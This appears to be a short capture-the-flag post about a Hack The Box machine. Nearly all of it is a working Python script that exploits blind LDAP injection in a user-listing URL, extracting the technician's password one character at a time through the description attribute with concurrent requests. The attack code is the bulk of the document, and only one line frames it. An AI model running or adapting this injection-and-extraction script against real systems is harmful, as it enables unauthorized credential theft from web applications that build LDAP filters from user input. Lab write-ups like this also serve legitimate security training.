Wrote a script to grab the password for the technician fast(works in under a minute):
```
#!/usr/bin/python3
import httpx
import asyncio
import string
from pwn import log
import time
dictionary = string.printable[:-5]
site_url = "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description={}*)"
brute = log.progress("Password")
async def guess_password(client, password, site_url=site_url):
response = await client.get(site_url.format(password))
if b"tech" in response.content:
return password
return False
async def password_brute(password, T):
async with httpx.AsyncClient() as client:
tasks = []
for char in dictionary:
tasks.append(guess_password(client, password+char))
results = await asyncio.gather(*tasks)
if len(list(set(results))) == 1 and len(password) > 8:
T = False
return password,T
elif len(list(set(results))) == 1 and len(password) < 8:
return password+"*",T
for result in results:
if result:
return result,T
async def main():
password,T = "",True
start = time.time()
while T:
password,T = await password_brute(password,T)
brute.status(f"{password}")
end = time.time()
log.success(f"Password: {password}")
print(f"Time taken : {end-start:.2f} in (s)")
if __name__ == "__main__":
asyncio.run(main())
```